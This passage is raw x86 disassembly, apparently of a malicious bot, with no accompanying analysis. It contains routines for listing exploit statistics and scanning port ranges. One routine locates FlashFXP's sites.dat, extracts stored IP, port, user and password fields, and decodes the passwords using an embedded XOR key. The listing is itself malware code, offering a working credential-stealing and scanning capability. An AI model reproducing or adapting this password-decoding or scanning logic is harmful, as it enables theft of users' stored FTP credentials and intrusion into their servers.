eax, [ebp+var_204] inc eax mov [ebp+var_204], eax loc_4140A4: ; CODE XREF: sub_414052+43j mov eax, [ebp+var_204] imul eax, 3Ah movsx eax, byte_41CD88[eax] test eax, eax jz loc_41414F push 12h mov eax, [ebp+var_204] imul eax, 3Ah add eax, offset byte_41CD88 push eax lea eax, [ebp+var_218] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_218] push eax call sub_4105FB pop ecx lea eax, [ebp+var_218] push eax lea eax, [ebp+var_200] push eax call sub_416B70 pop ecx pop ecx mov eax, [ebp+var_204] imul eax, 3Ah push dword_41CDB2[eax] push offset dword_41D05C lea eax, [ebp+var_200] push eax call sub_416B40 pop ecx lea eax, [ebp+eax+var_200] push eax call sub_416B5E add esp, 0Ch movsx eax, [ebp+var_225] test eax, eax jz short loc_41414A mov eax, [ebp+var_204] imul eax, 3Ah and dword_41CDB2[eax], 0 loc_41414A: ; CODE XREF: sub_414052+E6j jmp loc_414097 ; --------------------------------------------------------------------------- loc_41414F: ; CODE XREF: sub_414052+64j and [ebp+var_224], 0 lea eax, [ebp+var_200] push eax lea eax, [ebp+var_3BC] push eax call sub_40D53F pop ecx pop ecx push [ebp+var_3C0] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_414052 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41417D proc near ; CODE XREF: sub_40A9CF+BF4p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push 1A7h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414197 jmp short locret_4141BF ; --------------------------------------------------------------------------- loc_414197: ; CODE XREF: sub_41417D+16j push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 4 push eax call sub_405F67 pop ecx pop ecx push offset aListingExploit ; "Listing exploit statistics" push 0 push [ebp+var_4] push offset sub_414052 call sub_4095A4 add esp, 10h locret_4141BF: ; CODE XREF: sub_41417D+18j leave retn sub_41417D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4141C1 proc near ; DATA XREF: sub_4142BF+E2o var_2BC = dword ptr -2BCh var_2B8 = byte ptr -2B8h var_1B8 = byte ptr -1B8h var_1B2 = dword ptr -1B2h var_1AE = byte ptr -1AEh var_16 = byte ptr -16h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2BCh push 2B1h push [ebp+arg_0] lea eax, [ebp+var_2BC] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx call sub_416B64 mov [ebp+var_4], eax push [ebp+var_1B2] push 0 lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax call sub_4050EA add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41424F push [ebp+var_8] call sub_4053B1 pop ecx call sub_416B64 sub eax, [ebp+var_4] push eax lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D108 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 14h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41424F: ; CODE XREF: sub_4141C1+56j movsx eax, [ebp+var_16] test eax, eax jnz short loc_4142AD call sub_416B64 sub eax, [ebp+var_4] cmp eax, [ebp+var_1B2] jb short loc_41428B lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D0D0 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h jmp short loc_4142AD ; --------------------------------------------------------------------------- loc_41428B: ; CODE XREF: sub_4141C1+A4j lea eax, [ebp+var_1B8] push eax lea eax, [ebp+var_2B8] push eax push offset dword_41D0A0 lea eax, [ebp+var_1AE] push eax call sub_40D53F add esp, 10h loc_4142AD: ; CODE XREF: sub_4141C1+8Cj ; sub_4141C1+94j ... push [ebp+var_2BC] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_4141C1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4142BF proc near ; CODE XREF: sub_40A9CF+1B5Ep var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 10h cmp [ebp+arg_4], 0 jnz short loc_4142D0 jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142D0: ; CODE XREF: sub_4142BF+Aj cmp [ebp+arg_8], 0 jnz short loc_4142DD mov [ebp+arg_8], offset a80 ; "80" loc_4142DD: ; CODE XREF: sub_4142BF+15j push [ebp+arg_8] call sub_416B9C pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4142F8 cmp [ebp+var_8], 0FFFFh jbe short loc_4142FD loc_4142F8: ; CODE XREF: sub_4142BF+2Ej jmp locret_4143AE ; --------------------------------------------------------------------------- loc_4142FD: ; CODE XREF: sub_4142BF+37j cmp [ebp+arg_C], 0 jz short loc_414311 push [ebp+arg_C] call sub_416B9C pop ecx mov [ebp+var_10], eax jmp short loc_414318 ; --------------------------------------------------------------------------- loc_414311: ; CODE XREF: sub_4142BF+42j mov [ebp+var_10], 0EA60h loc_414318: ; CODE XREF: sub_4142BF+50j mov eax, [ebp+var_10] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41432D cmp [ebp+var_4], 36EE80h jbe short loc_41432F loc_41432D: ; CODE XREF: sub_4142BF+63j jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_41432F: ; CODE XREF: sub_4142BF+6Cj push 2B1h call sub_416B46 pop ecx mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_414345 jmp short locret_4143AE ; --------------------------------------------------------------------------- loc_414345: ; CODE XREF: sub_4142BF+82j push 100h push [ebp+arg_4] mov eax, [ebp+var_C] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 6 push [ebp+arg_8] mov eax, [ebp+var_C] add eax, 104h push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_C] mov ecx, [ebp+var_4] mov [eax+10Ah], ecx push [ebp+arg_0] mov eax, [ebp+var_C] add eax, 10Eh push eax call sub_405F67 pop ecx pop ecx push [ebp+arg_8] push [ebp+arg_4] push offset dword_41D138 push 0 push [ebp+var_C] push offset sub_4141C1 call sub_4095A4 add esp, 18h locret_4143AE: ; CODE XREF: sub_4142BF+Cj ; sub_4142BF:loc_4142F8j ... leave retn sub_4142BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143B0 proc near ; DATA XREF: sub_414600+1D6o var_2E8 = qword ptr -2E8h var_2DC = dword ptr -2DCh var_2D8 = dword ptr -2D8h var_2D4 = byte ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = byte ptr -2CCh var_2C4 = dword ptr -2C4h var_2C0 = dword ptr -2C0h var_2BC = byte ptr -2BCh var_1BC = word ptr -1BCh var_1BA = word ptr -1BAh var_1B8 = dword ptr -1B8h var_1B4 = dword ptr -1B4h var_1B0 = byte ptr -1B0h var_18 = byte ptr -18h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2DCh push 2B3h push [ebp+arg_0] lea eax, [ebp+var_2C0] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx mov ax, [ebp+var_1BC] mov [ebp+var_C], ax push [ebp+var_1B4] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_41440C push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax jmp locret_4145FC ; --------------------------------------------------------------------------- loc_41440C: ; CODE XREF: sub_4143B0+47j push [ebp+var_1B4] movzx eax, [ebp+var_1BA] push eax movzx eax, [ebp+var_1BC] push eax lea eax, [ebp+var_2BC] push eax mov eax, [ebp+var_2C0] push dword ptr [eax] push offset dword_41D1A8 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 1Ch movsx eax, [ebp+var_18] test eax, eax jnz short loc_414458 push 3E8h call dword_41709C loc_414458: ; CODE XREF: sub_4143B0+9Bj call sub_416B64 mov [ebp+var_2C4], eax and [ebp+var_4], 0 loc_414467: ; CODE XREF: sub_4143B0+13Aj ; sub_4143B0+1F0j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jnz short loc_414482 movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jle short loc_414487 loc_414482: ; CODE XREF: sub_4143B0+C1j jmp loc_4145A5 ; --------------------------------------------------------------------------- loc_414487: ; CODE XREF: sub_4143B0+D0j push 0Ah lea eax, [ebp+var_2CC] push eax movzx eax, [ebp+var_C] push eax call sub_416F7A ; _itoa add esp, 0Ch push [ebp+var_8] push 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_2D0], eax mov ax, [ebp+var_C] add ax, 1 mov [ebp+var_C], ax cmp [ebp+var_2D0], 0 jz short loc_4144EF movzx eax, [ebp+var_C] movzx ecx, [ebp+var_1BA] cmp eax, ecx jg short loc_4144EF jmp loc_414467 ; --------------------------------------------------------------------------- loc_4144EF: ; CODE XREF: sub_4143B0+129j ; sub_4143B0+138j push [ebp+var_1B8] call dword_41709C push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_414597 loc_41450C: ; CODE XREF: sub_4143B0+1E2j mov eax, [ebp+var_2C0] cmp dword ptr [eax+4], 0 jz short loc_41451A jmp short loc_414597 ; --------------------------------------------------------------------------- loc_41451A: ; CODE XREF: sub_4143B0+166j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_2D8], eax cmp [ebp+var_2D8], 0 jnz short loc_414534 jmp short loc_414597 ; --------------------------------------------------------------------------- loc_414534: ; CODE XREF: sub_4143B0+180j lea eax, [ebp+var_2CC] push eax push [ebp+var_2D8] call sub_4045B2 pop ecx pop ecx mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax mov al, [ebp+var_18] mov [ebp+var_2D4], al and [ebp+var_18], 0 lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2BC] push eax push offset dword_41D194 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_2D4] mov [ebp+var_18], al push 3E8h call dword_41709C jmp loc_41450C ; --------------------------------------------------------------------------- loc_414597: ; CODE XREF: sub_4143B0+156j ; sub_4143B0+168j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_414467 ; --------------------------------------------------------------------------- loc_4145A5: ; CODE XREF: sub_4143B0:loc_414482j push [ebp+var_4] call sub_416B64 sub eax, [ebp+var_2C4] mov [ebp+var_2DC], eax fild [ebp+var_2DC] fdiv flt_417270 push ecx push ecx fstp [esp+2E8h+var_2E8] lea eax, [ebp+var_2BC] push eax push offset unk_41D158 lea eax, [ebp+var_1B0] push eax call sub_40D53F add esp, 18h push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_2C0] call sub_409763 pop ecx xor eax, eax locret_4145FC: ; CODE XREF: sub_4143B0+57j leave retn 4 sub_4143B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414600 proc near ; CODE XREF: sub_40A9CF+C9Cp var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 28h cmp [ebp+arg_4], 0 jz short loc_414612 cmp [ebp+arg_8], 0 jnz short loc_414617 loc_414612: ; CODE XREF: sub_414600+Aj jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414617: ; CODE XREF: sub_414600+10j cmp [ebp+arg_C], 0 jnz short loc_414623 mov eax, [ebp+arg_8] mov [ebp+arg_C], eax loc_414623: ; CODE XREF: sub_414600+1Bj push [ebp+arg_8] call sub_416B9C pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_41463E cmp [ebp+var_8], 0FFFFh jbe short loc_414643 loc_41463E: ; CODE XREF: sub_414600+33j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414643: ; CODE XREF: sub_414600+3Cj push [ebp+arg_C] call sub_416B9C pop ecx mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_41465E cmp [ebp+var_14], 0FFFFh jbe short loc_414663 loc_41465E: ; CODE XREF: sub_414600+53j jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_414663: ; CODE XREF: sub_414600+5Cj push 2B3h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41467C jmp locret_4147E3 ; --------------------------------------------------------------------------- loc_41467C: ; CODE XREF: sub_414600+75j mov eax, [ebp+var_8] cmp eax, [ebp+var_14] jbe short loc_414696 mov eax, [ebp+var_14] mov [ebp+var_18], eax mov eax, [ebp+var_8] mov [ebp+var_14], eax mov eax, [ebp+var_18] mov [ebp+var_8], eax loc_414696: ; CODE XREF: sub_414600+82j cmp [ebp+arg_10], 0 jz short loc_4146AA push [ebp+arg_10] call sub_416B9C pop ecx mov [ebp+var_1C], eax jmp short loc_4146B1 ; --------------------------------------------------------------------------- loc_4146AA: ; CODE XREF: sub_414600+9Aj mov [ebp+var_1C], 7D0h loc_4146B1: ; CODE XREF: sub_414600+A8j mov eax, [ebp+var_1C] mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4146C6 cmp [ebp+var_C], 0EA60h jbe short loc_4146CD loc_4146C6: ; CODE XREF: sub_414600+BBj mov [ebp+var_C], 7D0h loc_4146CD: ; CODE XREF: sub_414600+C4j cmp [ebp+arg_14], 0 jz short loc_4146E1 push [ebp+arg_14] call sub_416B9C pop ecx mov [ebp+var_20], eax jmp short loc_4146E8 ; --------------------------------------------------------------------------- loc_4146E1: ; CODE XREF: sub_414600+D1j mov [ebp+var_20], 100h loc_4146E8: ; CODE XREF: sub_414600+DFj mov eax, [ebp+var_20] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_4146FD cmp [ebp+var_10], 200h jbe short loc_414704 loc_4146FD: ; CODE XREF: sub_414600+F2j mov [ebp+var_10], 100h loc_414704: ; CODE XREF: sub_414600+FBj push 100h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_416B58 add esp, 0Ch mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_8] mov [eax+104h], cx mov eax, [ebp+var_4] mov cx, word ptr [ebp+var_14] mov [eax+106h], cx cmp [ebp+var_C], 0EA60h jbe short loc_414749 mov [ebp+var_24], 0EA60h jmp short loc_41474F ; --------------------------------------------------------------------------- loc_414749: ; CODE XREF: sub_414600+13Ej mov eax, [ebp+var_C] mov [ebp+var_24], eax loc_41474F: ; CODE XREF: sub_414600+147j mov eax, [ebp+var_4] mov ecx, [ebp+var_24] mov [eax+108h], ecx cmp [ebp+var_10], 200h jbe short loc_41476D mov [ebp+var_28], 200h jmp short loc_414773 ; --------------------------------------------------------------------------- loc_41476D: ; CODE XREF: sub_414600+162j mov eax, [ebp+var_10] mov [ebp+var_28], eax loc_414773: ; CODE XREF: sub_414600+16Bj mov eax, [ebp+var_4] mov ecx, [ebp+var_28] mov [eax+10Ch], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 110h push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+10Ch] mov eax, [ebp+var_4] movzx eax, word ptr [eax+106h] push eax mov eax, [ebp+var_4] movzx eax, word ptr [eax+104h] push eax mov eax, [ebp+var_4] add eax, 4 push eax push offset dword_41D1F0 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_4143B0 call sub_4095A4 add esp, 20h locret_4147E3: ; CODE XREF: sub_414600:loc_414612j ; sub_414600:loc_41463Ej ... leave retn sub_414600 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4147E5 proc near ; CODE XREF: sub_414A1E+373p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414816 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414816: ; CODE XREF: sub_4147E5+28j mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax loc_41481E: ; CODE XREF: sub_4147E5:loc_4148BEj lea eax, [ebp+var_C] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414842 xor eax, eax jmp locret_4148CC ; --------------------------------------------------------------------------- loc_414842: ; CODE XREF: sub_4147E5+54j mov eax, [ebp+var_8] movsx eax, byte ptr [eax] mov ecx, [ebp+var_C] xor ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax mov eax, [ebp+var_10] cmp eax, [ebp+var_C] jl short loc_414866 mov eax, [ebp+var_C] dec eax mov [ebp+var_C], eax loc_414866: ; CODE XREF: sub_4147E5+78j mov eax, [ebp+var_C] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx], al mov eax, [ebp+arg_0] inc eax mov [ebp+arg_0], eax lea eax, [ebp+var_10] push eax push offset dword_418B54 push [ebp+arg_4] call sub_416BA2 add esp, 0Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414899 xor eax, eax jmp short locret_4148CC ; --------------------------------------------------------------------------- loc_414899: ; CODE XREF: sub_4147E5+AEj mov eax, [ebp+arg_4] inc eax inc eax mov [ebp+arg_4], eax mov eax, [ebp+var_8] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148B2 mov [ebp+var_8], offset aYa36za48dehfrv ; "yA36zA48dEhfrvghGRg57h5UlDv3" loc_4148B2: ; CODE XREF: sub_4147E5+C4j mov eax, [ebp+arg_4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_4148BE jmp short loc_4148C3 ; --------------------------------------------------------------------------- loc_4148BE: ; CODE XREF: sub_4147E5+D5j jmp loc_41481E ; --------------------------------------------------------------------------- loc_4148C3: ; CODE XREF: sub_4147E5+D7j mov eax, [ebp+arg_0] and byte ptr [eax], 0 push 1 pop eax locret_4148CC: ; CODE XREF: sub_4147E5+2Cj ; sub_4147E5+58j ... leave retn sub_4147E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4148CE proc near ; CODE XREF: sub_414A1E+30p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h and [ebp+var_14], 0 lea eax, [ebp+var_14] push eax push 20019h push 0 push offset aSoftwareClasse ; "SOFTWARE\\Classes\\Applications\\FlashFXP."... push 80000002h call dword_417008 mov [ebp+var_10], eax mov [ebp+var_4], 104h lea eax, [ebp+var_4] push eax push [ebp+arg_0] push 0 push 0 push 0 push [ebp+var_14] call dword_41700C mov [ebp+var_10], eax push [ebp+var_14] call dword_417028 cmp [ebp+var_10], 0 jnz short loc_414971 push offset aFlashfxp_exe1 ; "FlashFXP.exe %1" push 4 push [ebp+arg_0] call sub_407ACA add esp, 0Ch mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_414945 jmp loc_414A17 ; --------------------------------------------------------------------------- loc_414945: ; CODE XREF: sub_4148CE+70j push offset aSites_dat ; "sites.dat" push [ebp+var_18] call sub_416B3A ; strcpy pop ecx pop ecx mov eax, [ebp+var_18] add eax, 0Fh push eax mov eax, [ebp+var_18] add eax, 9 push eax call sub_416B3A ; strcpy pop ecx pop ecx push 1 pop eax jmp locret_414A1C ; --------------------------------------------------------------------------- loc_414971: ; CODE XREF: sub_4148CE+55j ; sub_4148CE:loc_414A17j push 104h push [ebp+arg_0] push offset aProgramfiles ; "ProgramFiles" call dword_417104 push offset aFlashfxpSites_ ; "\\FlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B70 pop ecx pop ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4149B0 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_4149B0: ; CODE XREF: sub_4148CE+DBj mov eax, dword_419398 mov [ebp+var_C], eax loc_4149B8: ; CODE XREF: sub_4148CE+143j lea eax, [ebp+var_C] push eax call dword_4170CC mov [ebp+var_1C], eax cmp [ebp+var_1C], 5 jz short loc_414A02 cmp [ebp+var_1C], 2 jz short loc_414A02 lea eax, [ebp+var_C] push eax push offset aSflashfxpSites ; "%sFlashFXP\\sites.dat" push [ebp+arg_0] call sub_416B5E add esp, 0Ch push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 pop ecx pop ecx mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_414A02 push 1 pop eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A02: ; CODE XREF: sub_4148CE+FBj ; sub_4148CE+101j ... mov al, byte ptr [ebp+var_C] add al, 1 mov byte ptr [ebp+var_C], al movsx eax, byte ptr [ebp+var_C] cmp eax, 5Ah jnz short loc_4149B8 xor eax, eax jmp short locret_414A1C ; --------------------------------------------------------------------------- loc_414A17: ; CODE XREF: sub_4148CE+72j jmp loc_414971 ; --------------------------------------------------------------------------- locret_414A1C: ; CODE XREF: sub_4148CE+9Ej ; sub_4148CE+E0j ... leave retn sub_4148CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A1E proc near ; DATA XREF: sub_414EB0+35o var_5E0 = dword ptr -5E0h var_5DC = dword ptr -5DCh var_5D8 = dword ptr -5D8h var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_5CC = dword ptr -5CCh var_5C8 = dword ptr -5C8h var_5C4 = byte ptr -5C4h var_544 = byte ptr -544h var_4C4 = byte ptr -4C4h var_444 = byte ptr -444h var_3C4 = dword ptr -3C4h var_3C0 = dword ptr -3C0h var_3BC = dword ptr -3BCh var_3B8 = dword ptr -3B8h var_3B4 = byte ptr -3B4h var_334 = dword ptr -334h var_330 = byte ptr -330h var_32C = dword ptr -32Ch var_328 = byte ptr -328h var_190 = byte ptr -190h var_184 = dword ptr -184h var_180 = byte ptr -180h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5E0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_32C] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx lea eax, [ebp+var_180] push eax call sub_4148CE pop ecx test eax, eax jnz short loc_414A6B push [ebp+var_32C] call sub_409763 pop ecx xor eax, eax jmp locret_414EAC ; --------------------------------------------------------------------------- loc_414A6B: ; CODE XREF: sub_414A1E+38j mov eax, [ebp+var_32C] push dword ptr [eax] push offset unk_41D3C0 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 0Ch and [ebp+var_184], 0 and [ebp+var_334], 0 mov al, [ebp+var_190] mov [ebp+var_330], al and [ebp+var_190], 0 push offset aRb ; "rb" lea eax, [ebp+var_180] push eax call sub_416B88 pop ecx pop ecx mov [ebp+var_3C4], eax cmp [ebp+var_3C4], 0 jnz short loc_414ACF jmp loc_414EAA ; --------------------------------------------------------------------------- loc_414ACF: ; CODE XREF: sub_414A1E+AAj push 2 push 0 push [ebp+var_3C4] call sub_416B96 add esp, 0Ch push [ebp+var_3C4] call sub_416B76 pop ecx mov [ebp+var_3C0], eax cmp [ebp+var_3C0], 100000h jnb short loc_414B0D mov eax, [ebp+var_3C0] mov [ebp+var_5E0], eax jmp short loc_414B17 ; --------------------------------------------------------------------------- loc_414B0D: ; CODE XREF: sub_414A1E+DFj mov [ebp+var_5E0], 100000h loc_414B17: ; CODE XREF: sub_414A1E+EDj mov eax, [ebp+var_5E0] mov [ebp+var_3C0], eax push 0 push 0 push [ebp+var_3C4] call sub_416B96 add esp, 0Ch mov eax, [ebp+var_3C0] inc eax push eax call sub_416B46 pop ecx mov [ebp+var_3BC], eax cmp [ebp+var_3BC], 0 jnz short loc_414B63 push [ebp+var_3C4] call sub_416B82 pop ecx jmp loc_414EA8 ; --------------------------------------------------------------------------- loc_414B63: ; CODE XREF: sub_414A1E+132j push [ebp+var_3C4] push [ebp+var_3C0] push 1 push [ebp+var_3BC] call sub_416B90 add esp, 10h push [ebp+var_3C4] call sub_416B82 pop ecx mov eax, [ebp+var_3BC] add eax, [ebp+var_3C0] and byte ptr [eax], 0 mov eax, [ebp+var_3BC] mov [ebp+var_3B8], eax loc_414BA6: ; CODE XREF: sub_414A1E+428j push offset asc_41D3B8 ; "\r\n\r\n[" push [ebp+var_3B8] call sub_416BA8 pop ecx pop ecx mov [ebp+var_5DC], eax mov eax, [ebp+var_3B8] mov [ebp+var_5D0], eax push offset aIp ; "\r\nIP=" push [ebp+var_3B8] call sub_416BA8 pop ecx pop ecx mov [ebp+var_5C8], eax push offset aPort ; "\r\nPort=" push [ebp+var_3B8] call sub_416BA8 pop ecx pop ecx mov [ebp+var_5D8], eax push offset aUser_0 ; "\r\nUser=" push [ebp+var_3B8] call sub_416BA8 pop ecx pop ecx mov [ebp+var_5CC], eax push offset aPass_0 ; "\r\nPass=" push [ebp+var_3B8] call sub_416BA8 pop ecx pop ecx mov [ebp+var_5D4], eax cmp [ebp+var_5C8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C52 mov eax, [ebp+var_5C8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C52: ; CODE XREF: sub_414A1E+220j cmp [ebp+var_5D8], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414C7A mov eax, [ebp+var_5D8] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414C7A: ; CODE XREF: sub_414A1E+248j cmp [ebp+var_5CC], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CA2 mov eax, [ebp+var_5CC] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CA2: ; CODE XREF: sub_414A1E+270j cmp [ebp+var_5D4], 0 jz loc_414E13 cmp [ebp+var_5DC], 0 jz short loc_414CCA mov eax, [ebp+var_5D4] cmp eax, [ebp+var_5DC] jnb loc_414E13 loc_414CCA: ; CODE XREF: sub_414A1E+298j and [ebp+var_4C4], 0 mov al, [ebp+var_4C4] mov [ebp+var_3B4], al mov al, [ebp+var_3B4] mov [ebp+var_5C4], al mov al, [ebp+var_5C4] mov [ebp+var_444], al mov al, [ebp+var_444] mov [ebp+var_544], al lea eax, [ebp+var_544] push eax push offset asc_41D38C ; "[%[^]]]\r\n" push [ebp+var_5D0] call sub_416BA2 add esp, 0Ch lea eax, [ebp+var_444] push eax push offset aIp127s ; "\r\nIP=%127s\r\n" push [ebp+var_5C8] call sub_416BA2 add esp, 0Ch lea eax, [ebp+var_5C4] push eax push offset aPort127s ; "\r\nPort=%127s\r\n" push [ebp+var_5D8] call sub_416BA2 add esp, 0Ch lea eax, [ebp+var_3B4] push eax push offset aUser127s ; "\r\nUser=%127s\r\n" push [ebp+var_5CC] call sub_416BA2 add esp, 0Ch lea eax, [ebp+var_4C4] push eax push offset aPass127s ; "\r\nPass=%127s\r\n" push [ebp+var_5D4] call sub_416BA2 add esp, 0Ch lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_4C4] push eax call sub_4147E5 pop ecx pop ecx test eax, eax jnz short loc_414DA1 jmp loc_414E4B ; --------------------------------------------------------------------------- loc_414DA1: ; CODE XREF: sub_414A1E+37Cj mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax push 3E8h call dword_41709C lea eax, [ebp+var_544] push eax lea eax, [ebp+var_5C4] push eax lea eax, [ebp+var_444] push eax lea eax, [ebp+var_4C4] push eax lea eax, [ebp+var_3B4] push eax push [ebp+var_334] push offset dword_41D320 lea eax, [ebp+var_328] push eax call sub_40D53F add esp, 20h mov eax, [ebp+var_32C] cmp dword ptr [eax+4], 0 jz short loc_414E13 push [ebp+var_3BC] call sub_416B4C pop ecx jmp loc_414EA6 ; --------------------------------------------------------------------------- loc_414E13: ; CODE XREF: sub_414A1E+213j ; sub_414A1E+22Ej ... mov eax, [ebp+var_184] inc eax mov [ebp+var_184], eax mov eax, [ebp+var_5DC] mov [ebp+var_3B8], eax cmp [ebp+var_3B8], 0 jnz short loc_414E37 jmp short loc_414E4B ; --------------------------------------------------------------------------- loc_414E37: ; CODE XREF: sub_414A1E+415j mov eax, [ebp+var_3B8] add eax, 4 mov [ebp+var_3B8], eax jmp loc_414BA6 ; --------------------------------------------------------------------------- loc_414E4B: ; CODE XREF: sub_414A1E+37Ej ; sub_414A1E+417j push [ebp+var_3BC] call sub_416B4C pop ecx loc_414E57: ; CODE XREF: 